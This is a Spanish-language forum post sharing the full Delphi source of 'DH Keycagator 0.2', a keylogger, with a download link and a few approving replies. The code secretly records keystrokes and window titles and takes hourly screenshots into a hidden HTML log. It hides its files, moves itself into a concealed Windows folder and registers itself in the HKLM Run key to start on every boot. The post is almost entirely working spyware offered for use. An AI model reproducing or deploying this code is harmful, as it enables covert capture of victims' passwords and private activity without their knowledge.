Un simple keylogger en delphi , en esta version se podria decir que es un "prototipo" ya que en la proxima version de este keylogger me concentrare en ciertos detalles.
El keylogger tiene las siguientes funciones :
- Captura teclas reconociendo mayusculas y minusculas
- Captura el nombre de la ventana actual
- Captura un screenshot del escritorio cada 1 hora
- Guarda todos los registros en un archivo HTML "ordenado"
- Oculta todos los archivos relacionados con el keylogger
- Se mueve y oculta en una carpeta de Windows
- Se carga cada vez que inicia Windows
* Usen shift+F9 para abrir el panel de control.
Unas imagenes :
(http://doddyhackman.webcindario.com/images/key1.jpg)
(http://doddyhackman.webcindario.com/images/key2.jpg)
El codigo :
// DH Keycagator 0.2
// (C) Doddy Hackman 2013
unit dhkey;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, acPNG, ExtCtrls, StdCtrls, Registry;
type
TForm1 = class(TForm)
Image1: TImage;
GroupBox1: TGroupBox;
Edit1: TEdit;
Button1: TButton;
Timer1: TTimer;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
uses dhmain;
{$R *.dfm}
procedure savefile(filename, texto: string);
var
ar: TextFile;
begin
AssignFile(ar, filename);
FileMode := fmOpenWrite;
if FileExists(filename) then
Append(ar)
else
Rewrite(ar);
Write(ar, texto);
CloseFile(ar);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
password: string;
begin
password := '123'; // Edit the password
if (Edit1.Text = password) then
begin
Form1.Hide;
Form2.Show;
end
else
begin
ShowMessage('Fuck You');
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Form1.Hide;
Abort;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
dir: string;
nombrereal: string;
rutareal: string;
yalisto: string;
her: TRegistry;
begin
Application.ShowMainForm := False;
nombrereal := ExtractFileName(ParamStr(0));
rutareal := ParamStr(0);
yalisto := GetEnvironmentVariable('WINDIR') + '/acatoy_xD/' + nombrereal;
MoveFile(Pchar(rutareal), Pchar(yalisto));
SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
her := TRegistry.Create;
her.RootKey := HKEY_LOCAL_MACHINE;
her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
her.WriteString('System', yalisto);
her.Free;
dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';
if not(DirectoryExists(dir)) then
begin
CreateDir(dir);
end;
ChDir(dir);
SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
+ '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);
savefile('logs.html',
'<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
i: integer;
re: Longint;
begin
if (GetAsyncKeyState(VK_SHIFT) <> 0) then
begin
re := GetAsyncKeyState(120);
If re = -32767 then
Begin
Form1.Show;
End;
end;
end;
end.
// The End ?
// DH KeyCagator 0.2
// (C) Doddy Hackman 2013
unit dhmain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, acPNG, ExtCtrls, StdCtrls, ShellApi, Jpeg;
type
TForm2 = class(TForm)
Image1: TImage;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
GroupBox3: TGroupBox;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Label1: TLabel;
Timer1: TTimer;
Timer2: TTimer;
Timer3: TTimer;
Image2: TImage;
Label2: TLabel;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure Button4Click(Sender: TObject);
private
private
Nombre2: string;
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
{$R *.dfm}
procedure savefile(filename, texto: string);
var
ar: TextFile;
begin
AssignFile(ar, filename);
FileMode := fmOpenWrite;
if FileExists(filename) then
Append(ar)
else
Rewrite(ar);
Write(ar, texto);
CloseFile(ar);
end;
procedure TForm2.Button1Click(Sender: TObject);
begin
Label1.font.color := clLime;
Label1.Caption := 'Online';
Timer1.Enabled := True;
Timer2.Enabled := True;
Timer3.Enabled := True;
end;
procedure TForm2.Button2Click(Sender: TObject);
begin
Label1.font.color := clRed;
Label1.Caption := 'Offline';
Timer1.Enabled := False;
Timer2.Enabled := False;
Timer3.Enabled := False;
end;
procedure TForm2.Button3Click(Sender: TObject);
begin
ShellExecute(Handle, 'open', 'logs.html', nil, nil, SW_SHOWNORMAL);
end;
procedure TForm2.Button4Click(Sender: TObject);
begin
Application.Terminate;
end;
procedure TForm2.FormCreate(Sender: TObject);
var
dir: string;
begin
dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';
if not(DirectoryExists(dir)) then
begin
CreateDir(dir);
end;
ChDir(dir);
SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
+ '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);
Label1.font.color := clLime;
Label1.Caption := 'Online';
Timer1.Enabled := True;
Timer2.Enabled := True;
Timer3.Enabled := True;
end;
procedure TForm2.Timer1Timer(Sender: TObject);
var
i: integer;
Result: Longint;
mayus: integer;
shift: integer;
const
n_numeros_izquierda: array [1 .. 10] of string =
('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
const
t_numeros_izquierda: array [1 .. 10] of string =
('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
const
n_numeros_derecha: array [1 .. 10] of string =
('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
const
t_numeros_derecha: array [1 .. 10] of string =
('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
const
n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
'54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
'291', '220', '221', '222', '226');
const
t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
'&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
'|');
const
n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
'188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
'226');
const
t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
'<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
' / ', ' \ \ \ ', ']', '[', '~', '\/');
begin
// Others
for i := Low(n_raros) to High(n_raros) do
begin
Result := GetAsyncKeyState(StrToInt(n_raros[i]));
If Result = -32767 then
begin
savefile('logs.html', t_raros[i]);
end;
end;
// Numbers
for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
begin
Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
If Result = -32767 then
begin
savefile('logs.html', t_numeros_derecha[i]);
end;
end;
for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
begin
Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
If Result = -32767 then
begin
savefile('logs.html', t_numeros_izquierda[i]);
end;
end;
// SHIFT
if (GetAsyncKeyState(VK_SHIFT) <> 0) then
begin
for i := Low(n_shift) to High(n_shift) do
begin
Result := GetAsyncKeyState(StrToInt(n_shift[i]));
If Result = -32767 then
begin
savefile('logs.html', t_shift[i]);
end;
end;
for i := 65 to 90 do
begin
Result := GetAsyncKeyState(i);
If Result = -32767 then
Begin
savefile('logs.html', Chr(i + 0));
End;
end;
end;
// MAYUS
if (GetKeyState(20) = 0) then
begin
mayus := 32;
end
else
begin
mayus := 0;
end;
for i := 65 to 90 do
begin
Result := GetAsyncKeyState(i);
If Result = -32767 then
Begin
savefile('logs.html', Chr(i + mayus));
End;
end;
end;
procedure TForm2.Timer2Timer(Sender: TObject);
var
ventana1: array [0 .. 255] of char;
nombre1: string;
begin
GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
nombre1 := ventana1;
if not(nombre1 = Nombre2) then
begin
Nombre2 := nombre1;
savefile('logs.html',
'<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
end;
end;
procedure TForm2.Timer3Timer(Sender: TObject);
var
foto1: TBitmap;
foto2: TJpegImage;
ventana: HDC;
generado: string;
begin
ventana := GetWindowDC(GetDesktopWindow);
foto1 := TBitmap.Create;
foto1.PixelFormat := pf24bit;
foto1.Height := Screen.Height;
foto1.Width := Screen.Width;
BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
SRCCOPY);
foto2 := TJpegImage.Create;
foto2.Assign(foto1);
foto2.CompressionQuality := 60;
generado := IntToStr(Random(100)) + '.jpg';
foto2.SaveToFile(generado);
SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
+ '/acatoy_xD/' + generado), FILE_ATTRIBUTE_HIDDEN);
savefile('logs.html', '<br><br><center><img src=' + generado +
'></center><br><br>');
end;
end.
// The End ?
Si lo quieren bajar lo pueden hacer de aca (http://sourceforge.net/projects/dhkeycagator/).
Me ha gustado mucho el L&F. Muy atractivo.
PD: Últimamente estás que le das fuerte a Delphi no? xD
Buen programa... No se que usos le dare xD >:D
Me mato esta parte:
Citar306: // The end?
;-)
Me entusiasme con delphi... una pregunta conoses alguna guia online para aprender este lenguaje?
Gracias.. ;D